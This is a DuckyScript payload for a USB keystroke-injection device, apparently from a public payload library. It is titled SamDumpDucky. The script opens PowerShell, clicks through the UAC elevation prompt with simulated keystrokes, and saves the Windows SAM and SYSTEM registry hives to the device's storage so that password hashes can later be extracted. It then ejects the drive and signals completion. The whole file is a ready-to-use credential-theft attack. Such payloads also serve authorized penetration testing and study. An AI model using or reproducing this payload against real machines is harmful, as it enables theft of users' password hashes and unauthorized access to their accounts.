Path: blob/master/payloads/library/credentials/SamDumpDucky/payload.txt
2968 views
REM Title: SamDumpDucky1REM Description: Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like pypykatz, to get the users hashes.2REM Author: 0i41E3REM Version: 2.04REM Category: Credentials5REM Attackmodes: HID, Storage67ATTACKMODE HID STORAGE89REM Extension made by Korben to increase speed10EXTENSION DETECT_READY11REM VERSION 1.112REM AUTHOR: Korben1314REM_BLOCK DOCUMENTATION15USAGE:16Extension runs inline (here)17Place at beginning of payload (besides ATTACKMODE) to act as dynamic18boot delay1920TARGETS:21Any system that reflects CAPSLOCK will detect minimum required delay22Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms23END_REM2425REM CONFIGURATION:26DEFINE #RESPONSE_DELAY 2527DEFINE #ITERATION_LIMIT 1202829VAR $C = 030WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))31CAPSLOCK32DELAY #RESPONSE_DELAY33$C = ($C + 1)34END_WHILE35CAPSLOCK36END_EXTENSION3738REM Extension made by 0i41E to automate elevated execution of powershell - Change language layout within here39EXTENSION WINDOWS_ELEVATED_EXECUTION40REM VERSION 1.141REM Author: 0i41E42REM Executes the desired program with elevated privileges43REM Conformation via keyboard shortcut for (currently) english, german and spanish layouts44REM additional extensions4546REM CONFIGURATION:47REM Used to wait for the UAC prompt to react to input48DEFINE #INPUT_WAIT 200049REM Shortcut for YES across multiple languages50DEFINE #ENGLISH_ACCEPT ALT y51DEFINE #GERMAN_ACCEPT ALT j52DEFINE #SPAIN_ACCEPT ALT s5354FUNCTION Elevated_Execution()55DELAY #INPUT_WAIT56CTRL-SHIFT ENTER57DELAY #INPUT_WAIT58REM Change below for appropriate language59#GERMAN_ACCEPT60DELAY #INPUT_WAIT61END_FUNCTION6263REM EXAMPLE USAGE AFTER EXTENSION64REM DELAY 200065REM GUI r66REM DELAY 200067REM STRING powershell68REM Elevated_Execution()69REM STRINGLN whoami /priv7071END_EXTENSION7273REM Extension by 0i41E, to signalize the successful execution of the payload74EXTENSION DETECT_FINISHED75REM VERSION 1.076REM AUTHOR: 0i41E7778REM_BLOCK DOCUMENTATION79USAGE:80Use the function Detect_Finished() to signal the finished execution of your payload.81END_REM8283REM CONFIGURATION:84DEFINE #PAUSE 15085FUNCTION Detect_Finished()86IF ($_CAPSLOCK_ON == FALSE)87CAPSLOCK88DELAY #PAUSE89CAPSLOCK90DELAY #PAUSE91CAPSLOCK92DELAY #PAUSE93CAPSLOCK94ATTACKMODE OFF95ELSE IF96CAPSLOCK97DELAY #PAUSE98CAPSLOCK99DELAY #PAUSE100CAPSLOCK101ATTACKMODE OFF102END_IF103END_FUNCTION104END_EXTENSION105106DELAY 1000107GUI r108DELAY 500109STRING powershell -nop -noni110REM Opening elevated powershell via extension111Elevated_Execution()112STRINGLN cd (gwmi win32_volume -f 'label=''DUCKY''').Name113DELAY 350114REM Dumping Sam&System and saving them onto the ducky. This may take some time, potentially over 2 minutes115STRING Write-Host "[+]Exfiltrating Sam&System..." -ForegroundColor Green;reg save hklm\sam DuckySam;Write-Host "[?]This may take a while..." -ForegroundColor Yellow;reg save hklm\system DuckySys;Write-Host "[+]Exfiltration Complete!" -ForegroundColor Green116STRINGLN ;(New-Object -comObject Shell.Application).Namespace(17).ParseName((gwmi win32_volume -f 'label=''DUCKY''').Name).InvokeVerb('Eject');(New-Object -ComObject wscript.shell).SendKeys('{CAPSLOCK}');ExIt117DELAY 250118REM Waiting for CAPSLOCK, pressed by Powershell, to proceed with the finishing lines.119WAIT_FOR_CAPS_ON120DELAY 250121Detect_Finished()122123124